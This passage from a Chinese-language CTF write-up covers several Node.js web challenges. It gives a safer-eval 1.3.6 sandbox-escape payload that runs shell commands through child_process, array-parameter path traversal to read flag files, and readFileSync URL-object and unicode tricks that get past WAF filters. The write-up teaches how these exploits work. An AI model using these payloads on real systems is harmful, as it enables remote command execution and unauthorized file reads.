      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

image.png
在这段代码中存在safe-eval,我们查看下它得版本
image.png
1.3.6是存在漏洞的
我们先继续分析代码:
image.png
通过/eval?delay=上传一个数字并和60000比较,大的赋值给delay

setTimeout最多只能推迟执行2147483647毫秒(24.8天),超过这个时间会发生溢出,导致回调函数将在当前任务队列结束后立即执行

我们传入一个大于2147483647的值即可执行next()到下一个位置
所以我们就可以通过get传入一个比2147483647大的值,然年使用post方式传入payload
safer-eval 1.3.6逃逸payload:

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

在这里我们直接给e post传入一下内容:

(function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
})()

搭建的docker环境不知道为什么没有成功执行命令,放一张别人的图叭
o_20080607581121-1.png

更多逃逸payload

https://github.com/patriksimek/vm2/issues?q=is%3Aissue+author%3AXmiliaH+is%3Aclosed
https://github.com/patriksimek/vm2/issues/225

一些有趣的挑战

CSIVITU 2020-File Library

容器地址:https://github.com/csivitu/ctf-challenges/tree/master/web/File%20Library
我们得到了任务的源代码:

const express = require('express');
const path = require('path');
const fs = require('fs');

const app = express();

const PORT = process.env.PORT || 3000;

app.listen(PORT, () => {
   console.log(`Listening on port ${PORT}`);
});

app.get('/getFile', (req, res) => {
   let { file } = req.query;
   console.log("file is: "+file);
   if (!file) {
       res.send(`file=${file}\nFilename not specified!`);
       return;
   }

   try {

       if (file.includes(' ') || file.includes('/')) {
           res.send(`file=${file}\nInvalid filename!`);
           return;
       }
   } catch (err) {
       res.send('An error occured!');
       return;
   }

   if (!allowedFileType(file)) {
       res.send(`File type not allowed`);
       return;
   }

   if (file.length > 5) {
       file = file.slice(0, 5);
   }

   const returnedFile = path.resolve(__dirname + '/' + file);
  console.log("returnedFile: "+returnedFile);
   fs.readFile(returnedFile, (err) => {
       if (err) {
           if (err.code != 'ENOENT') console.log(err);
           res.send('An error occured!');
           return;
       }

       res.sendFile(returnedFile);
   });
});

app.get('/*', (req, res) => {
   res.sendFile(__dirname + '/index.html');
});

function allowedFileType(file) {
   const format = file.slice(file.indexOf('.') + 1);
console.log("index +1 is "+file.indexOf('.') + 1);    
console.log("format inside allowedfile is: "+format);
   if (format == 'js' || format == 'ts' || format == 'c' || format == 'cpp') {
       return true;
   }

   return false;
}

我添加了一些日志记录语句以方便操作,正如您所见,当我们访问**/getfile**时,我们可以在 get 参数中提供一个将为我们显示的文件名,但有一些限制,我们不能使用空格或“/”,只允许四个扩展名 (js|ts|c|cpp) 。
image.png
仔细阅读源代码后,我很确定我们会使用 http 参数污染,因为没有检查 get 参数的类型,所以我们可以输入一个数组并尝试利用可能发生的不当行为。
假设我们输入以下数组:

["../../","../../","../../","../../","../../proc/self/cwd/flag.txt",".","js"]
  • 第一次检查:if (file.includes(‘ ‘) || file.includes(‘/‘))

当 includes 应用于数组时,它会检查是否有一个字段等于传递的参数(在我们的例子中为“”和“/”),这里为 false,因此我们可以成功通过此检查

  • 第二次检查:if (!allowedFileType(file))

我们来看看这个函数的代码:

function allowedFileType(file) {
const format = file.slice(file.indexOf('.') + 1);
    if (format == 'js' || format == 'ts' || format == 'c' || format == 'cpp') {
        return true;
    }

    return false;
}

它将从 indexOf(“.”)+1 开始对我们的数组进行切片,所以在我们的例子中,结果将是我们数组的最后一个字段,即“js”,我们也将通过此检查:
以下行将删除数组的最后两个字段:

if (file.length > 5) {
  file = file.slice(0, 5);
}

# "Welcome to GeeksforGeeks".slice(0, 5)  ---> Welcom

所以我们的数组将变成:

["../../","../../","../../","../../","../../proc/self/cwd/flag.txt"]

最后在解析路径后 returnedFile 将包含 /proc/self/cwd/flag.txt

const returnedFile = path.resolve(__dirname + '/' + file);

注意:由于我们的“../../”字段,当前目录的__dirname 被忽略,而**/proc/self/cwd**等同于当前目录。
所以最后我们的数组将被解析为我们想要的路径,这是最终的有效载荷,它只是对我们之前所说的的一种解释:

http://chall.csivit.com:30222/getfile?file[]=../../&file[]=../../&file[]=../../&file[]=../../&file[]=../../proc/self/cwd/flag.txt&file[]=.&file[]=js

corCTF2022 a simple waf


挑战为我们提供了源代码和一个Dockerfile. 由于 Instancer 只创建一个持续 3 分钟的挑战实例,这非常不方便,所以我使用提供的资源在本地构建和调试以玩这个挑战。
浏览网站localhost:3456,我们可以看到这只是一个简单的网页展示指定文件的内容。
image.png
这个挑战的目标是读取flag.txt文件的内容……但以某种方式绕过includes(‘flag’)waf的检查。所有的挑战代码都可以在 看到main.js

const express = require("express");
const fs = require("fs");

const app = express();

const PORT = process.env.PORT || 3456;

app.use((req, res, next) => {
    if([req.body, req.headers, req.query].some(
        (item) => item && JSON.stringify(item).includes("flag")
    )) {
        return res.send("bad hacker!");
    }
    next();
});

app.get("/", (req, res) => {
    try {
        res.setHeader("Content-Type", "text/html");
        res.send(fs.readFileSync(req.query.file || "index.html").toString());       
    }
    catch(err) {
        console.log(err);
        res.status(500).send("Internal server error");
    }
});

app.listen(PORT, () => console.log(`web/simplewaf listening on port ${PORT}`));

分析
阅读源代码后,我想到了两个问题。

  1. 如何绕过includes条件?(绝对……我们正在寻找的东西),以及
  2. readFileSync该函数可以采用什么类型的参数来读取文件?

通过在 Google 上搜索,我发现了一篇关于NodeJS Bypass Filter CTF的文章,它在某些时候类似于这个挑战:

  • 这两个挑战都没有验证输入的类型,这意味着我们可以将输入作为数组而不是字符串传递,并且
  • 这两个挑战都需要绕过includes函数才能到达标志!

太棒了!认为我找到了正确的位置,我尝试了 payload file[]=x&file[]=flag.txt。不幸的是,它无法绕过这个挑战的waf
image.png
为什么它不能绕过waf?好吧,我发现这行代码的挑战之间有一个关键的不同点
(item) => item && JSON.stringify(item).includes(“flag”)
simplewaf不采用原始输入来执行输入验证,而是预先将原始输入转换为 JSON 字符串因此,该includes函数仍然可以检查转换后的字符串是否包含flag。
至此,我无论如何也想不出绕过这个includes函数……所以,我转到第二个问题,看看那个函数的NodeJS文档。image.png
好的,所以路径参数可以是一个 | | | . 但是,请求查询值的类型始终是字符串。我们如何传入readFileSync函数 aURL或 aninteger或 a 以外的任何其他内容string?
起初想到,我尝试将字符串格式化为URL: http://localhost:3456/wow.html。倒霉,不行~

image.png
停止徒劳的猜测,我决定在githubreadFileSync上的 NodeJS 源代码中仔细查看该功能。image.png
第 469 行及以下的代码片段执行读取文件过程,无需深入研究。我们需要深入研究的要点是第 467 行的代码。通过研究fs.openSync函数来跟踪代码。image.png
通过调查getValidatedPath功能继续关注。

image.png
按住不放,这里会出现一些有趣的东西。因此,如果该fileURLOrPath值不为 null,并且其中有 existshref和origin,它将调用 to fileURLToPath,将fileURLOrPath值转换为 URL。这就是我想说的!我能感觉到我走的路是对的!
获得动力,我继续研究这个fileURLToPath功能。image.png
该值的一个附加条件fileURLOrPath是其协议必须是file:. 全部检查通过后,会调用相应的函数从URL中获取路径。由于我在 Linux 上调试,所以我继续研究该getPathFromURLPosix功能。image.png
再次检查此代码片段:hostname必须为空。但是,这里需要注意一件值得注意的事情,它将帮助我们绕过 simplewaf 的includes检查,那就是它将对simplewafpathname执行 URL 解码以获取 URL。这意味着如果我们pathname从 Web 应用程序传递一个双 URL 编码值,它最终将文件路径变成纯文本。你猜怎么着?由于客户端传递给includes检查的值只是 URL 解码一次,我们也可以轻松绕过此检查。
好的,让我们总结一下将有效参数file作为 URL传递给函数readFileSync需要做的所有事情。

  • file不为空
  • file.origin存在
  • file.href存在
  • file.protocol = ‘file:’
  • file.hostname = ‘’

绕过waf并获得标志的最终要求是:

  • file.pathname是双重 URL 编码

解决方案
根据上面的分析,我构造了如下的payload:
file[origin]=x&file[href]=x&file[protocol]=file:&file[hostname]=&file[pathname]=fla%2567.txt
我只是对字符进行双重 URL 编码g以绕过 waf。使用有效载荷,我们成功获得了测试标志。image.png
好吧,先拿真旗吧~
corctf{hmm_th4t_waf_w4snt_s0_s1mple}

祥云杯2022 RUSTwaf

const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const {  execFileSync } = require('child_process');

app.post('/readfile', function (req, res) {
    let body = req.body.toString();
    let file_to_read = "app.js";
    const file = execFileSync('/app/rust-waf', [body], {
        encoding: 'utf-8'
    }).trim();
    try {
        file_to_read = JSON.parse(file)
    } catch (e){
        file_to_read = file
    }
    let data = fs.readFileSync(file_to_read);
    res.send(data.toString());
});

app.get('/', function (req, res) {
    res.send('see `/src`');
});



app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

直接/readfile读源码

use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;

static BLACK_PROPERTY: &str = "protocol";

#[derive(Debug, Serialize, Deserialize)]
struct File{
    #[serde(default = "default_protocol")]
    pub protocol: String,
    pub href: String,
    pub origin: String,
    pub pathname: String,
    pub hostname:String
}

pub fn default_protocol() -> String {
    "http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||  body.to_lowercase().contains("proc"){
        return String::from("./main.rs"); //这里限制我们不能带有flag和proc字段
    }
    if let Ok(json_body) = serde_json::from_str::<Value>(body) {
        if let Some(json_body_obj) = json_body.as_object() {
            if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
                return String::from("./main.rs");    //这里限制我们的json字段不能带有protocol字段,但是下面限制我们是file结构体,这也就意味着我们一定要有protocol字段
            }
        }
        //not contains protocol,check if struct is File
        if let Ok(file) = serde_json::from_str::<File>(body) {//限制我们只能是这个结构体
            return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
        }
    } else{
        //body not json
        return String::from(body);
    }
    return String::from("./main.rs");
}

fn main() {
    let args: Vec<String> = env::args().collect();
    println!("{}", waf(&args[1]));  //这里把json的第二字段传进去
}

将payload以json格式传,但是这里用到的payload中存在protocol导致rust能检测到,要利用unicode 绕过
最终payload:

{"hostname":"","pathname":"/fl%61g","protocol":"file:","origin":"fuckyou","pr\ud800otocol":"file:","href":"fuckyou"}

参考链接

https://blog.csdn.net/shawdow_bug/article/details/120072209
https://xz.aliyun.com/t/11791#toc-8